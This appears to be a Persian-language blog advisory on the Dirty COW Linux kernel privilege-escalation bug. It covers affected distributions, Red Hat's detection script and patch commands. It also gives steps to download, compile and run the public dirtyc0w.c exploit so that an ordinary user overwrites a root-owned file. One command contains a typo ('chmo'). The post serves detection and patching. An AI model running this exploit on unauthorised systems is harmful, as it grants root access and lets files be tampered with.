باگ Zero Day به نام Dirty COW در کرنل لینوکس

dirtycow-logo

 

یک مشکل امنیتی بسیار مهم که در کرنل لینوکس کشف شده باگ Zero Day به نام Local Privilege Escalation می باشد.گفتنی است که این باگ حدود ۱۱ سال پیش یعنی از سال ۲۰۰۵ وجود داشته است.

با استفاده از این باگ کاربران معمولی سیستم قادر خواهند بود در کمتر از ۵ ثانیه دسترسی root از سیستم بگیرند.این مشکل با کد CVE-2016-5195 و نام «گاو کثیف» یا همان ” Dirty COW” شناخته می شود.

توزیع های لینوکسی که باگ CVE-2016-5195 شامل حال آنها می شود به شرح زیر می باشند :

Red Hat Enterprise Linux 7.x
Red Hat Enterprise Linux 6.x
Red Hat Enterprise Linux 5.x
CentOS Linux 7.x
CentOS Linux 6.x
CentOS Linux 5.x
Debian Linux wheezy
Debian Linux jessie
Debian Linux stretch
Debian Linux sid
Ubuntu Linux precise (LTS 12.04)
Ubuntu Linux trusty
Ubuntu Linux xenial (LTS 16.04)
Ubuntu Linux yakkety
Ubuntu Linux vivid/ubuntu-core
SUSE Linux Enterprise 11 and 12

نحوه تشخیص آسیب پذیری :

 

برای تشخیص این باگ شرکت ردهت اسکریپتی آماده کرده است که می توانید از آن برای توزیع های مبتنی بر RHEL استفاده کنید.برای اینکار ابتدا آن را دریافت کنید :

 

#wget https://access.redhat.com/sites/default/files/rh-cve-2016-5195_1.sh

سپس مجوز اجرایی به فایل دهید :

 

 

#chmo +x rh-cve-2016-5195_1.sh

سپس فایل را اجرا کنید :

 

#./rh-cve-2016-5195_1.sh

 

یک نمونه خروجی از اجرای اسکریپت را در پایین مشاهده می کنید که آسیب پذیری سیستم را تشخیص داده است :

 

dirtycow

 

 

 

جهت شناسایی این مشکل بر روی سایر توزیع های دیگر می توانید ابتدا فایل زیر را دریافت کنید :

 

$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

 

اکنون کافیست تا یکبار به کاربر root وارد شوید و یک رشته را درون یک فایل بنویسید :

 

$ sudo -s
# echo this is not a test > foo

 

اکنون کافیست تا با کاربر معمولی این دستور را اجرا کنید :

 

$ gcc -lpthread dirtyc0w.c -o dirtyc0w

 

اکنون فایل ساخته شده را به صورت پایین اجرا کنید :

 

$ ./dirtyc0w foo m00000000000000000

اکنون کافیست تا محتوای فایل foo را که ابتدا با کاربر root نوشته شده بود را مشاهده کنید :

 

$ cat foo

پس از اینکار در صورت وجود مشکل بر روی سیستم، متن مشاهده شده در فایل foo با مقدار اولیه متفاوت خواهد بود.برای درک بهتر موضوع به تصویر پایین توجه کنید :

 

dirty-cow-linux-kernel

 

حل آسیب پذیری :

 

جهت رفع این مشکل امنیتی بر روی CentOS و RHEL کافیست تا مراحل زیر را انجام دهید :

 

#yum update

#reboot

 

اگر Debian و Ubuntu استفاده می کنید کافیست تا دستورات  پایین را اجرا کنید :

 

$sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

$sudo reboot

جهت اطلاعات بیشتر در مورد این باگ می توانید به لینک های پایین مراجعه نمایید :

 

https://access.redhat.com/security/vulnerabilities/2706661

http://dirtycow.ninja/

 

دیدگاه شما چیست؟